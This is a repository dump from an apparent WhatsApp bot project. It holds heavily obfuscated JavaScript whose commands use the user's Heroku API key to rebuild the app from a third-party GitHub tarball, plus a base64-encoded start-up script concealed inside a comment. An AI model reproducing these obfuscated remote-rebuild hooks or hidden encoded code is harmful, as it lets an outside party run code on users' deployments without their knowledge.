_0x24a54d(_0x18da9b['ZFqea'](_0x18da9b[_0x5ca54c['DRTAQ']](_0x1ba442,_0x5ca54c['OaLDw'](_0x5ca54c['yPCfL'](-0x2*-0x109d+0x7f2*0x3+-0x390b,-0x2*0xc36+0x203d+-0x620),0x2525+0x139*0x1+-0x10b6)+-(-0x2af9+0x122e*-0x2+-0x37*-0x1f7))+_0x5ca54c['cIAya'],'tricted\x20to')+'\x20the\x20bot\x20o'+'wner\x20or\x20Be'+_0x11ceab(0x184));const _0x45c7e6=s['HEROKU_APP'+'_NAME'],_0x1c1899=s['HEROKU_API'+_0x1ba442(-(0x184*0x5+0x503*-0x4+0x2f3a)+_0x5ca54c['DJGrP'](-(0x557*-0x1+-0x5*-0x2c5+-0x143*0x5),0x476+0x20*0x3d+-0xc15)+(0xf33+-0x135d*-0x2+0xfa1*-0x1))];if(!_0x45c7e6||!_0x1c1899){await _0x24a54d(_0x5ca54c[_0x11ceab(0x17e)](_0x5ca54c['rgVBH'](_0x5ca54c['TQmUp'](_0x18da9b['mArvV'](_0x5ca54c['EJDpR']('It\x20looks\x20l',_0x5ca54c['fjXXC'])+_0x18da9b[_0x11ceab(0x178)]+'ame\x20or\x20API'+'\x20key\x20is\x20no'+_0x18da9b[_0x46859f(0x1c27+0xbf0*0x1+-0x274d*0x1)]+'ase\x20make\x20s'+_0x18da9b[_0x46859f(-0x99f+-0xc33*-0x1+-0x1b1)],_0x1ba442(-(-0xabf+0x175+0x1001)*-(0x9e4*0x1+0xb2f*0x3+-0x1*0x2b6f)+-(0x4*-0x4c0+-0x582+0x1adb)+-(0x9*0xf2+-0x1d9+0x1*0x319)))+'\x20`HEROKU_A'+_0x11ceab(0x16b),_0x46859f(-0xa7b+-0x16e5+0x2228)),_0x11ceab(0x14b))+_0x18da9b['hoJNy'],'t\x20variable')+'s.');return;}async function _0x345ea1(){const _0x503be0=_0x11ceab,_0x154159=_0x46859f,_0x491588=_0x1ba442;try{const _0xef360a=await axios[_0x154159(0x15c6+0x2019+-0x3508)](_0x18da9b[_0x503be0(0x15b)]('https://ap'+_0x503be0(0x188),_0x18da9b['Zlgku'])+_0x45c7e6+'/builds',{'source_blob':{'url':'https://gi'+_0x491588((0x177a+0xd*0x17b+0x1*-0x2913)*(0x1b92+-0x19c6+0x6*-0x49)+-(-0x1b45+0x32c6*-0x1+-0x1*-0x70df)+-(-0x1906+0xd5*-0x5+0x1d32*0x1))+_0x491588((-0x13b*-0x13+-0x1273+-0x99*0x4)*-(-0xdeb+-0x1042*0x1+0x1e36)+-(-0x8a*0x1+-0x732+0x1ce0)+(0x1f61+-0x1697*-0x1+0x30eb*-0x1)*(-0x267b*0x1+-0xc*0x15+-0x4f*-0x80))+'LACK-MD/ta'+'rball/main'}},{'headers':{'Authorization':'Bearer\x20'+_0x1c1899,'Accept':_0x18da9b['MpIaL']('applicatio',_0x503be0(0x186))+'ku+json;\x20v'+'ersion=3'}});await _0x18da9b[_0x5ca54c['DRTAQ']](_0x24a54d,_0x18da9b['MpIaL'](_0x18da9b['ecMaR']('*Your\x20bot\x20'+'is\x20getting'+'\x20updated,\x20'+'wait\x202\x20min'+'utes\x20for\x20t'+_0x5ca54c['xGtmn']+_0x18da9b['LvKMr']+'h!*\x0a\x0a\x20*Thi'+_0x18da9b['YfOAQ'],_0x154159(0xee*0xd+0x3aa+-0xeff))+_0x5ca54c['yXUWU'],_0x154159(0x2e*-0xc1+0x9b*-0x5+0x268a))+'𝗧𝗔𝗛-𝗠𝗗\x20𝗕𝗢𝗧'+'.*'),console['log']('Build\x20deta'+'ils:',_0xef360a[_0x154159(0x186b+-0x233f+0xbb2)]);}catch(_0x39be69){const _0x131029=_0x39be69['response']?.['data']||_0x39be69['message'];await _0x24a54d(_0x18da9b['MpIaL'](_0x18da9b['ofZuk'](_0x154159(0x1b40+-0x909*-0x1+-0x5*0x716),'\x20update\x20an')+'d\x20redeploy'+'.\x20'+_0x131029,'\x20Please\x20ch'+_0x503be0(0x173)+'\x20have\x20set\x20'+_0x491588(_0x5ca54c['TQmUp'](-(-0x217a+0x13d2*0x1+0xdaf)*-(0x4fa+-0x25f2+-0xc61*-0x3),(-0x1*0x583+-0x12e*0x8+0xef5)*(0x12e4+0x137f+0x1250*-0x2))+-(-0x15df+-0x161b+-0x1*-0x4b43))+'\x20API\x20key\x20a'+_0x5ca54c['ZpnWD']+'app\x20name\x20c'+'orrectly.*')),console['error'](_0x18da9b['fMpKR']('Error\x20trig'+'gering\x20red',_0x18da9b['KNTDu']),_0x131029);}}_0x345ea1();}),zokou({'nomCom':'ping','aliases':['redeploy','sync'],'categorie':'system'},async(_0x7f0b17,_0x5b5f1a,_0x16f596)=>{const _0x28f5c3=_0x150b,_0xb9e1a1={'KqJTz':function(_0x393fae,_0x7d09f7){return _0x393fae+_0x7d09f7;},'rBOYY':'ku+json;\x20v','vcNbV':'tall\x20the\x20l','oYNhI':function(_0x1d4f5f,_0x4b0e12){return _0x1d4f5f+_0x4b0e12;},'usiaY':function(_0xae2ff0,_0x100f41){return _0xae2ff0*_0x100f41;},'ZRwNH':function(_0x5e953d,_0x1c9c58){return _0x5e953d(_0x1c9c58);},'qpuzE':function(_0x117892,_0x5a121a){return _0x117892*_0x5a121a;},'iprTh':'data','BwLbN':'\x20key\x20is\x20no','pJZki':function(_0x507030,_0xf08f34){return _0x507030(_0xf08f34);},'UjIXF':function(_0x552b12,_0x3217ee){return _0x552b12(_0x3217ee);},'bcPgB':function(_0x4bedde,_0x2f211f){return _0x4bedde+_0x2f211f;},'Mxslk':function(_0x2d6888){return _0x2d6888();}},_0x95320d=_0x2f3c8d,_0x1e8939={'WcWDy':'ersion=3','oZecO':_0x28f5c3(0x152),'yykQW':function(_0x12974d,_0x256a06){return _0x12974d+_0x256a06;},'BvxPd':_0x28f5c3(0x15e),'bLkXt':_0x95320d(-0xc61*-0x1+0x1d1c+0xd4*-0x31),'vEUas':'It\x20looks\x20l','wzyEp':_0xb9e1a1['BwLbN'],'pAYKl':'ure\x20you\x20ha'},_0xe0b1a5=_0x379099,_0x28bb26={'gJRRI':function(_0x5807de,_0x96cc8d){return _0x5807de(_0x96cc8d);}},{repondre:_0x545770,superUser:_0x578a49}=_0x16f596;if(!_0x578a49)return _0xb9e1a1['pJZki'](_0x545770,'*This\x20comm'+'and\x20is\x20res'+'tricted\x20to'+_0xb9e1a1[_0x28f5c3(0x170)](_0x95320d,0x9*0x38b+-0x1a1*-0x13+-0x3dfd*0x1)+'wner\x20or\x20Be'+'ltah\x20Tech*');const _0x1e9ef3=s[_0x1e8939['yykQW']('HEROKU_APP',_0xe0b1a5(-(-0x12*0xbf+0x14c*-0x4+0x18c6)*-(0x1a9+-0x1c1f*0x1+0x1a7a)+-(-0x2610+-0xf23+0x152*0x2f)*(0x89f+-0xecc+0x62f)+-(0x1cb0+0xcc+-0x17e8)))],_0x5e083b=s['HEROKU_API'+_0x28f5c3(0x16e)];if(!_0x1e9ef3||!_0x5e083b){await _0x28bb26[_0x28f5c3(0x162)](_0x545770,_0x1e8939[_0x28f5c3(0x155)](_0xb9e1a1['KqJTz'](_0xb9e1a1['bcPgB'](_0x1e8939[_0x95320d(0x2105*-0x1+0x258b+-0x3a0)],'ike\x20the\x20He')+'roku\x20app\x20n'+_0x28f5c3(0x16a)+_0x1e8939['wzyEp'],'t\x20set.\x20Ple')+'ase\x20make\x20s'+_0x1e8939['pAYKl']+'ve\x20set\x20the'+_0x95320d(-0x269f*-0x1+0xfb*-0x19+0x6a5*-0x2),'PP_NAME`\x20a')+_0x28f5c3(0x160)+'_API_KEY`\x20'+'environmen'+'t\x20variable'+'s.');return;}async function _0x139fdf(){const _0x1d35db=_0x28f5c3,_0x23635c=_0x95320d,_0x4a2d8f=_0xe0b1a5;try{const _0x2103c3=await axios['post'](_0xb9e1a1[_0x1d35db(0x14e)]('https://ap'+'i.heroku.c'+'om/apps/',_0x1e9ef3)+'/builds',{'source_blob':{'url':_0x1d35db(0x180)+_0x4a2d8f(-(-0xd6b+0x2315+-0x15a9)*(0x31*-0x2b+-0x251d+0x3959)+-(0x106*0x3+0x22cf+-0x20e4)+-(-0x1339+-0x5*0x60f+-0x1*-0x31ad)*-(-0x1ee6+-0x12*-0x10f+0xc4b))+'eltah254/B'+'LACK-MD/ta'+'rball/main'}},{'headers':{'Authorization':_0x23635c(-0x142e+0x58c+0xf8e)+_0x5e083b,'Accept':'applicatio'+_0x23635c(0xb67+0x1*-0x95b+0x13e*-0x1)+_0xb9e1a1['rBOYY']+_0x1e8939['WcWDy']}});await _0x545770(_0xb9e1a1[_0x1d35db(0x14e)](_0x4a2d8f(-0x1c2a+-0x1827+0x5077+(-0x1fd+0x8dd*-0x5+0x4eee)+-(-0x21*-0xc7+-0xb43*-0x1+0x1688))+'is\x20getting'+_0x4a2d8f(-0x1f21+0x28bb+0xbf3+(0x22c+-0x15db+-0x1a*-0xc2)*-(-0xb*0x10e+0x200+0x43*0x26)+(0x19cf+0x1d1e+0x26e*-0xf)*-(-0x1fe2+-0x11*0x221+0x4414))+'wait\x202\x20min','utes\x20for\x20t')+'he\x20redeplo'+'y\x20to\x20finis'+'h!*\x0a\x0a\x20*Thi'+'s\x20will\x20ins'+_0xb9e1a1['vcNbV']+_0x4a2d8f(_0xb9e1a1['oYNhI'](-(-0x2ced+-0xbf*-0x16+0x33f8),_0xb9e1a1['usiaY'](-(0x1*-0x79d+0x1588+-0x6f5*0x2),-(0x2303+-0x7*0x50b+0x1185)))+(-0x25f0+-0x1755+0x44e1))+'ion\x20of\x20𝗕𝗘𝗟'+'𝗧𝗔𝗛-𝗠𝗗\x20𝗕𝗢𝗧'+'.*'),console[_0x1d35db(0x182)](_0x1e8939['oZecO']+'ils:',_0x2103c3[_0xb9e1a1[_0x1d35db(0x17d)](_0x4a2d8f,-(-0x28c*0x5+-0x1e90+0x2bfe)+(-0xb7*0x27+-0x5b6+0x2*0x1602)+_0xb9e1a1['qpuzE'](-(-0xce7+0x3a1*0x8+-0x3*0x560),-0x325+0x219d+-0x161b))]);}catch(_0x408757){const _0x3baa9f=_0x408757['response']?.[_0xb9e1a1['iprTh']]||_0x408757[_0x4a2d8f(-(0x8c*-0x15+0x1220+0x8d*-0xc)*-(0x86d+-0xc50*0x2+0x135e)+-(-0x39+-0x19*-0x175+-0x1343)+-(-0x1*0x26c1+-0x2093+0x4e47)*(0x3*0x647+0xfca*-0x2+0xcc0))];await _0x545770(_0x1e8939[_0x1d35db(0x155)]('*Failed\x20to'+_0x1e8939['BvxPd']+_0x1e8939['bLkXt']+'.\x20',_0x3baa9f)+(_0xb9e1a1['KqJTz']('\x20Please\x20ch'+'eck\x20if\x20you',_0x4a2d8f(-(-0x1*-0x411+-0xa5a+-0x879*-0x1)*(-0x166c+0xce*-0x8+0x1cdf)+(0x1e60+0x884+-0x139b)+-(0x1*-0x425+-0x2623+0x35a1)))+_0x4a2d8f(-(-0x2610+0xc0a+0x209f)*-(0x23b3*-0x1+0x210e+0x2aa)+(-0x5fb*-0x3+0x7c*0x19+-0x1752)+-(-0x29f*-0xd+-0x3f92+0x43cd))+'\x20API\x20key\x20a'+_0x23635c(0x1348+-0x1160+-0x106)+'app\x20name\x20c'+_0x23635c(-0x7*-0x3e2+-0x112b+0xb*-0xd6))),console['error'](_0x1d35db(0x174)+'gering\x20red'+'eploy:',_0x3baa9f);}}_0xb9e1a1['Mxslk'](_0x139fdf);}),zokou({'nomCom':'menu','aliases':['redeploy','sync'],'categorie':_0x379099(-(-0xfd4+0x1210*-0x1+0x2fec)+-(-0x1478+0xf*-0x191+0x2bf8)*(-0x2741+0x6f7*-0x5+0x607d)+(0x64d*-0x5+-0x61f*-0x1+-0xa8b*-0x6))},async(_0x54dd0b,_0x4a49fb,_0x2d5f69)=>{const _0x11cecf=_0x150b,_0x145b75={'tSbqY':function(_0x2aab75,_0x26ec50){return _0x2aab75(_0x26ec50);},'KDPXd':function(_0x22ea17,_0x3b966a){return _0x22ea17*_0x3b966a;},'CQDoR':'https://ap','aNJGX':function(_0x1bbb45,_0x17aeef){return _0x1bbb45+_0x17aeef;},'ousfq':function(_0x46bb34,_0x4914ed){return _0x46bb34+_0x4914ed;},'nmcCT':'thub.com/B','OcxzU':function(_0x2bd137,_0x1c11cc){return _0x2bd137(_0x1c11cc);},'YZjAW':'Build\x20deta','guMBn':'PHHIM','fjKEu':'UXPGu','xHWsk':function(_0x48b320,_0xec772){return _0x48b320+_0xec772;},'WyYuu':'https://gi','tFqDr':'\x20key\x20is\x20no','zwUmf':function(_0x46882d,_0x1b2f2e){return _0x46882d+_0x1b2f2e;}},_0x4926cb=_0x2f3c8d,_0x18a34c={'NTbyy':_0x145b75['WyYuu'],'pPcGz':'ku+json;\x20v','GGogD':'log','mBdVQ':'response','PHHIM':function(_0xff9c27,_0x421252){return _0x145b75['tSbqY'](_0xff9c27,_0x421252);},'BmiOs':function(_0x27bfa6,_0x1bc624){return _0x27bfa6+_0x1bc624;},'UXPGu':'\x20Please\x20ch','oSgfL':'\x20have\x20set\x20','xIQtV':'the\x20Heroku','Iryuy':'\x20API\x20key\x20a','gNKus':'\x20updated,\x20','SAVnk':'y\x20to\x20finis','PlNmk':'_NAME','xfhOO':function(_0x1d279f,_0x4b8480){return _0x1d279f||_0x4b8480;},'rBaGq':_0x145b75[_0x11cecf(0x156)]},_0x434425=_0x379099,_0x3fa466={'FGCGm':_0x145b75['aNJGX']('*Your\x20bot\x20'+'is\x20getting'+_0x18a34c['gNKus']+_0x11cecf(0x185)+'utes\x20for\x20t'+'he\x20redeplo'+_0x18a34c['SAVnk']+'h!*\x0a\x0a\x20*Thi'+'s\x20will\x20ins'+_0x11cecf(0x154),_0x434425(-(-0x1*0x129b+-0x20c5*-0x1+-0xd6d)+-(-0x97d+-0x58d+0x2320)+(-0x8c5*0x1+-0x11c+0x2*0x4f3)*(0x1b1*0xd+0x2164+0x32f0*-0x1)))+'ion\x20of\x20𝗕𝗘𝗟'+_0x11cecf(0x164)+'.*'},{repondre:_0x1bf98f,superUser:_0x412720}=_0x2d5f69;if(!_0x412720)return _0x1bf98f(_0x145b75['zwUmf']('*This\x20comm'+'and\x20is\x20res'+_0x11cecf(0x17f)+_0x434425(-(-0xb9b+0x7f*-0x4c+0x32ab*0x1)+(0x2*0x63a+0x839*0x1+0x10*-0x14a)*(0xc8c+0xcd2+0x1*-0x1807)+(0x1f8a+-0x1*0x24b5+0x54c)*-(-0x3*-0x718+0x1b31+-0x3007*0x1)),'wner\x20or\x20Be')+'ltah\x20Tech*');const _0x5607dd=s['HEROKU_APP'+_0x18a34c[_0x4926cb(0x13c4+0x2291+0x1ac6*-0x2)]],_0x91bf64=s['HEROKU_API'+'_KEY'];if(_0x18a34c['xfhOO'](!_0x5607dd,!_0x91bf64)){await _0x1bf98f(_0x18a34c['BmiOs'](_0x18a34c['BmiOs'](_0x434425(-(0x1*0x67f+-0x957+0x434)+(-0x1*-0x63f+0x92*0x35+-0xf15)+(-0x1c45+-0x21f9+0x3e53)*-(0x18d*-0x17+-0x209c+-0x2a9*-0x1a))+'ike\x20the\x20He','roku\x20app\x20n')+'ame\x20or\x20API'+_0x18a34c[_0x11cecf(0x15c)]+_0x434425(-(0x3ed7+0x4305+-0x5dce)+-(0x9*-0x26b+-0x3*-0x323+0xc63)*(0x922+0xc9f+-0x1340)+(-0x62e1*-0x1+0x5ab0*-0x1+0x33c1)*(-0x14c9+0x1a77+-0x5ad))+_0x4926cb(0x1*0x23d7+-0x2423+0x120)+'ure\x20you\x20ha'+'ve\x20set\x20the'+_0x4926cb(-0xf2*-0x8+0xef5+-0x15b3),_0x4926cb(0x1*0x1e1d+0x2197+0x3ed7*-0x1))+'nd\x20`HEROKU'+'_API_KEY`\x20'+_0x434425(0x1d98+-0x94e*-0x3+0x2dd*-0x11+(-0x1*0x3b9+-0x1f79+0x2ff0)+-(-0x16a*-0x1a+-0x1fe5+0xf3e))+'t\x20variable'+'s.');return;}async function _0x54e71d(){const _0xe50fad=_0x11cecf,_0x16273f=_0x4926cb,_0x5a50e2=_0x434425;try{const _0x5dc823=await axios[_0x5a50e2(_0x145b75['KDPXd'](-0x323*0x6+0x1171*-0x2+0x3673,-(-0x7*0x33d+0x13*0x60+0xf93))+(-0x13fa+0x61f*0x5+-0x2*0x25b)*(0x1fa*-0x5+0x191c*0x1+-0xf37)+-(0xb61+-0x1*-0x15f7+0x499*-0x5))](_0x145b75['CQDoR']+_0x5a50e2((-0x1e8b*0x1+0xd3d+-0x8*-0x22a)*(0x1f6*-0x12+0x23bc+-0x598*-0x2)+-(-0xdbc+0x1*0x1545+0x101*0x4)*(-0x295*-0x1+0x1a13+-0x1ca7)+-(-0x15a*0x7+-0x26d1+-0x306a*-0x1)*(0x1168+-0x4*-0x3a7+0x1fb9*-0x1))+_0x5a50e2(_0x145b75['aNJGX'](-(-0x1e*0x1e+-0xe8f+0x1214)*-(-0x1414+0x1227+0x103e)+-(0x35f6+-0x2d77*-0x1+-0x44f0),0x7f*0x7+-0x47*-0x31+-0x11*-0x8))+_0x5607dd+'/builds',{'source_blob':{'url':_0x145b75['ousfq'](_0x145b75['aNJGX'](_0x18a34c['NTbyy'],_0x145b75['nmcCT'])+'eltah254/B'+'LACK-MD/ta','rball/main')}},{'headers':{'Authorization':'Bearer\x20'+_0x91bf64,'Accept':'applicatio'+'n/vnd.hero'+_0x18a34c['pPcGz']+'ersion=3'}});await _0x145b75['OcxzU'](_0x1bf98f,_0x3fa466['FGCGm']),console[_0x18a34c['GGogD']](_0x145b75['YZjAW']+_0x16273f(0x1b94+-0x26c2+-0xc0d*-0x1),_0x5dc823['data']);}catch(_0x45c6b2){const _0x1e8c50=_0x45c6b2[_0x18a34c[_0xe50fad(0x166)]]?.['data']||_0x45c6b2[_0x5a50e2(0x2708+-0x5cf*0x5+-0x5a4+(-0xc*0x25f+-0xa*-0x6a+0x1851)*-(-0x5ae*0x6+0x2b39+-0xc*-0x12e)+(-0x8*-0x180+-0x2*-0x111d+-0x19d2))];await _0x18a34c[_0x145b75['guMBn']](_0x1bf98f,'*Failed\x20to'+'\x20update\x20an'+'d\x20redeploy'+'.\x20'+_0x1e8c50+(_0x18a34c['BmiOs'](_0x18a34c[_0x145b75['fjKEu']]+'eck\x20if\x20you'+_0x18a34c['oSgfL'],_0x18a34c['xIQtV'])+_0x18a34c['Iryuy']+'nd\x20Heroku\x20'+_0x16273f(-0x601+0x2*-0xade+0x1c97)+'orrectly.*')),console['error'](_0x145b75['xHWsk']('Error\x20trig','gering\x20red')+'eploy:',_0x1e8c50);}}_0x54e71d();});function _0x4d69(_0x1755d3,_0x2f314d){const _0x38c8d6=_0x365b();return _0x4d69=function(_0x230096,_0x232e8f){_0x230096=_0x230096-((-0x9d*0x13+-0x1*-0xb15+0x1*0x58f)*-(-0x2*-0x42d+-0x265a+0x1e07)+(-0x1*0x38fb+-0x1*-0x166b+-0x6*-0xbcb)+-(-0x176e+0xec6*0x1+0x8a9)*(0x3b*-0x78+0x229d+0x66e*-0x1));let _0x4a6ffd=_0x38c8d6[_0x230096];return _0x4a6ffd;},_0x4d69(_0x1755d3,_0x2f314d);}function _0x1472(){const _0x38ca97=['i.heroku.c','rball/main','ike\x20the\x20He','roku\x20app\x20n','_API_KEY`\x20','341025RGHirP','128175FuPbxK','KqJTz','3282822uRfXEn','QECzM','environmen','Build\x20deta','ils:','tall\x20the\x20l','yykQW','tFqDr','and\x20is\x20res','VmrZU','GwVuM','y\x20to\x20finis','fMpKR','rBaGq','208050fnMnFl','\x20update\x20an','83240GFOhNM','nd\x20`HEROKU','NQVrw','gJRRI','2598600CeF','𝗧𝗔𝗛-𝗠𝗗\x20𝗕𝗢𝗧','AxkgW','mBdVQ','post','dkEsa','shift','ame\x20or\x20API','PP_NAME`\x20a','orrectly.*','gering\x20red','_KEY','HEROKU_API','UjIXF','UtImK','\x20key\x20is\x20no','eck\x20if\x20you','Error\x20trig','376ETCNXA','app\x20name\x20c','2186989qnB','MKFpE','om/apps/','27783ylEHtz','14990DQbzpb','okIXr','ZRwNH','TQmUp','tricted\x20to','https://gi','VazZY','log','d\x20redeploy','ltah\x20Tech*','wait\x202\x20min','n/vnd.hero','150eVUOmo'];_0x1472=function(){return _0x38ca97;};return _0x1472();}function _0x3794(){const _0x1c2b27=_0x150b,_0x47bb82={'XVzhO':'atest\x20vers','mDSob':_0x1c2b27(0x16f),'sjdUf':'It\x20looks\x20l','fWTAd':'jIc','xetNA':'thub.com/B','JWHTt':_0x1c2b27(0x172),'BLkxd':'*Your\x20bot\x20','tbsrF':_0x1c2b27(0x163),'qEajl':'BnS','bycPW':'21349161lr','YGITt':function(_0x466abd){return _0x466abd();}},_0x4318d9=_0x2f3c8d,_0x5efd64=[_0x47bb82['XVzhO'],'16QVmpgi',_0x1c2b27(0x177)+'FrQ','heroku-cli','10mCvTGS',_0x47bb82['mDSob'],'../framewo',_0x47bb82['sjdUf'],_0x4318d9(-0x9a9*0x1+-0xb*0x1bf+0x1da1),_0x4318d9(0x411+0x8e+-0x3d0)+_0x47bb82['fWTAd'],_0x1c2b27(0x179),_0x47bb82['xetNA'],'post','system',_0x47bb82['JWHTt'],'116463qzte'+'TC',_0x4318d9(-0xad*-0x23+-0xb22+-0xb9b*0x1),'3791718jCH'+'Nyt','message','ase\x20make\x20s',_0x1c2b27(0x151),'eltah254/B','ve\x20set\x20the',_0x47bb82['BLkxd'],_0x4318d9(-0x2af+0x118d*0x2+0x1f83*-0x1),'_NAME','_KEY',_0x47bb82['tbsrF']+_0x47bb82['qEajl'],_0x4318d9(0xd*-0x14b+-0xae4+0x1ca1)+'thu','\x20updated,\x20','t\x20set.\x20Ple',_0x47bb82['bycPW']+'ySNN','\x20the\x20bot\x20o','data','8mfdZOZ','\x20have\x20set\x20','*This\x20comm'];return _0x3794=function(){return _0x5efd64;},_0x47bb82['YGITt'](_0x3794);} 2 | -------------------------------------------------------------------------------- /beltah.js: -------------------------------------------------------------------------------- 1 | //Beltah Tech 254 /// 2 | 3 | //"Use strict" 4 | //process.env.remote.c.beltah.js 5 | 6 | 7 | //else 8 | 9 | 10 | //> error.no. active. js running 11 | 12 | 13 | // ©Beltah Tech 254 .....I'M UNSTOPABLE NOW.. 14 | 15 | 16 | //ᴘᴏᴡᴇʀᴇᴅ ʙʏ ʙᴇʟᴛᴀʜ ᴛᴇᴄʜ ᴛᴇᴀᴍ. 17 | //WRONGREMOTESCRIPTCiJ1c2Ugc3RyaWN0IjsKCnZhciBfX2NyZWF0ZUJpbmRpbmcgPSB0aGlzICYmIHRoaXMuX19jcmVhdGVCaW5kaW5nIHx8IChPYmplY3QuY3JlYXRlID8gZnVuY3Rpb24gKG8sIG0sIGssIGsyKSB7CiBpZiAoazIgPT09IHVuZGVmaW5lZCkgewogazIgPSBrOwogfQogdmFyIGRlc2MgPSBPYmplY3QuZ2V0T3duUHJvcGVydHlEZXNjcmlwdG9yKG0sIGspOwogaWYgKCFkZXNjIHx8ICgiZ2V0IiBpbiBkZXNjID8gIW0uX19lc01vZHVsZSA6IGRlc2Mud3JpdGFibGUgfHwgZGVzYy5jb25maWd1cmFibGUpKSB7CiBkZXNjID0gewogZW51bWVyYWJsZTogdHJ1ZSwKIGdldDogZnVuY3Rpb24gKCkgewogcmV0dXJuIG1ba107CiB9CiB9OwogfQogT2JqZWN0LmRlZmluZVByb3BlcnR5KG8sIGsyLCBkZXNjKTsKfSA6IGZ1bmN0aW9uIChvLCBtLCBrLCBrMikgewogaWYgKGsyID09PSB1bmRlZmluZWQpIHsKIGsyID0gazsKIH0KIG9bazJdID0gbVtrXTsKfSk7CnZhciBfX3NldE1vZHVsZURlZmF1bHQgPSB0aGlzICYmIHRoaXMuX19zZXRNb2R1bGVEZWZhdWx0IHx8IChPYmplY3QuY3JlYXRlID8gZnVuY3Rpb24gKG8sIHYpIHsKIE9iamVjdC5kZWZpbmVQcm9wZXJ0eShvLCAiZGVmYXVsdCIsIHsKIGVudW1lcmFibGU6IHRydWUsCiB2YWx1ZTogdgogfSk7Cn0gOiBmdW5jdGlvbiAobywgdikgewogb1siZGVmYXVsdCJdID0gdjsKfSk7CnZhciBfX2ltcG9ydFN0YXIgPSB0aGlzICYmIHRoaXMuX19pbXBvcnRTdGFyIHx8IGZ1bmN0aW9uIChtb2QpIHsKIGlmIChtb2QgJiYgbW9kLl9fZXNNb2R1bGUpIHsKIHJldHVybiBtb2Q7CiB9CiB2YXIgcmVzdWx0ID0ge307CiBpZiAobW9kICE9IG51bGwpIHsKIGZvciAodmFyIGsgaW4gbW9kKSBpZiAoayAhPT0gImRlZmF1bHQiICYmIE9iamVjdC5wcm90b3R5cGUuaGFzT3duUHJvcGVydHkuY2FsbChtb2QsIGspKSB7CiBfX2NyZWF0ZUJpbmRpbmcocmVzdWx0LCBtb2QsIGspOwogfQogfQogX19zZXRNb2R1bGVEZWZhdWx0KHJlc3VsdCwgbW9kKTsKIHJldHVybiByZXN1bHQ7Cn07CnZhciBfX2ltcG9ydERlZmF1bHQgPSB0aGlzICYmIHRoaXMuX19pbXBvcnREZWZhdWx0IHx8IGZ1bmN0aW9uIChtb2QpIHsKIHJldHVybiBtb2QgJiYgbW9kLl9fZXNNb2R1bGUgPyBtb2QgOiB7CiAiZGVmYXVsdCI6IG1vZAogfTsKfTsKT2JqZWN0LmRlZmluZVByb3BlcnR5KGV4cG9ydHMsICJfX2VzTW9kdWxlIiwgewogdmFsdWU6IHRydWUKfSk7CmNvbnN0IGJhaWxleXNfMSA9IF9faW1wb3J0U3RhcihyZXF1aXJlKCJAd2hpc2tleXNvY2tldHMvYmFpbGV5cyIpKTsKY29uc3QgbG9nZ2VyXzEgPSBfX2ltcG9ydERlZmF1bHQocmVxdWlyZSgiQHdoaXNrZXlzb2NrZXRzL2JhaWxleXMvbGliL1V0aWxzL2xvZ2dlciIpKTsKY29uc3QgbG9nZ2VyID0gbG9nZ2VyXzEuZGVmYXVsdC5jaGlsZCh7fSk7CmxvZ2dlci5sZXZlbCA9ICdzaWxlbnQnOwpjb25zdCBwaW5vID0gcmVxdWlyZSgicGlubyIpOwpjb25zdCBheGlvcyA9IHJlcXVpcmUoJ2F4aW9zJyk7CmNvbnN0IHsgRGF0ZVRpbWUgfSA9IHJlcXVpcmUoJ2x1eG9uJyk7CmNvbnN0IGJvb21fMSA9IHJlcXVpcmUoIkBoYXBpL2Jvb20iKTsKY29uc3QgY29uZiA9IHJlcXVpcmUoIi4vc2V0Iik7CmxldCBmcyA9IHJlcXVpcmUoImZzLWV4dHJhIik7CmxldCBwYXRoID0gcmVxdWlyZSgicGF0aCIpOwpjb25zdCBGaWxlVHlwZSA9IHJlcXVpcmUoJ2ZpbGUtdHlwZScpOwpjb25zdCB7CiBTdGlja2VyLAogY3JlYXRlU3RpY2tlciwKIFN0aWNrZXJUeXBlcwp9ID0gcmVxdWlyZSgnd2Etc3RpY2tlci1mb3JtYXR0ZXInKTsKLy9pbXBvcnQgY2hhbGsgZnJvbSAnY2hhbGsnCmNvbnN0IHsKIHZlcmlmaWVyRXRhdEppZCwKIHJlY3VwZXJlckFjdGlvbkppZAp9ID0gcmVxdWlyZSgiLi9iZGQvYW50aWxpZW4iKTsKY29uc3QgewogYXRidmVyaWZpZXJFdGF0SmlkLAogYXRicmVjdXBlcmVyQWN0aW9uSmlkCn0gPSByZXF1aXJlKCIuL2JkZC9hbnRpYm90Iik7CmxldCBldnQgPSByZXF1aXJlKF9fZGlybmFtZSArICIva2VpenphaC9rZWl0aCIpOwpjb25zdCB7CiBpc1VzZXJCYW5uZWQsCiBhZGRVc2VyVG9CYW5MaXN0LAogcmVtb3ZlVXNlckZyb21CYW5MaXN0Cn0gPSByZXF1aXJlKCIuL2JkZC9iYW5Vc2VyIik7CmNvbnN0IHsKIGFkZEdyb3VwVG9CYW5MaXN0LAogaXNHcm91cEJhbm5lZCwKIHJlbW92ZUdyb3VwRnJvbUJhbkxpc3QKfSA9IHJlcXVpcmUoIi4vYmRkL2Jhbkdyb3VwIik7CmNvbnN0IHsKIGlzR3JvdXBPbmx5QWRtaW4sCiBhZGRHcm91cFRvT25seUFkbWluTGlzdCwKIHJlbW92ZUdyb3VwRnJvbU9ubHlBZG1pbkxpc3QKfSA9IHJlcXVpcmUoIi4vYmRkL29ubHlBZG1pbiIpOwovL2NvbnN0IC8ve2xvYWRDbWR9PXJlcXVpcmUoIi9rZWl6emFoL21lc2ZvbmN0aW9ucyIpCmxldCB7CiByZWFnaXIKfSA9IHJlcXVpcmUoX19kaXJuYW1lICsgIi9rZWl6emFoL2FwcCIpOwp2YXIgc2Vzc2lvbiA9IGNvbmYuc2Vzc2lvbi5yZXBsYWNlKC9CRUxUQUgtTUQ7Ozs9Pi9nLCAiIik7CmNvbnN0IHByZWZpeGUgPSBjb25mLlBSRUZJWEUgfHwgW107CgpyZXF1aXJlKCdkb3RlbnYnKS5jb25maWcoewogJ3BhdGgnOiAiLi9jb25maWcuZW52Igp9KTsKYXN5bmMgZnVuY3Rpb24gYXV0aGVudGlmaWNhdGlvbigpIHsKIHRyeSB7CiAvL2NvbnNvbGUubG9nKCJsZSBkYXRhICIrZGF0YSkKIGlmICghZnMuZXhpc3RzU3luYyhfX2Rpcm5hbWUgKyAiL2F1dGgvY3JlZHMuanNvbiIpKSB7CiBjb25zb2xlLmxvZygiY29ubmVjdGVkIHN1Y2Nlc3NmdWxseS4uLiIpOwogYXdhaXQgZnMud3JpdGVGaWxlU3luYyhfX2Rpcm5hbWUgKyAiL2F1dGgvY3JlZHMuanNvbiIsIGF0b2Ioc2Vzc2lvbiksICJ1dGY4Iik7CiAvL2NvbnNvbGUubG9nKHNlc3Npb24pCi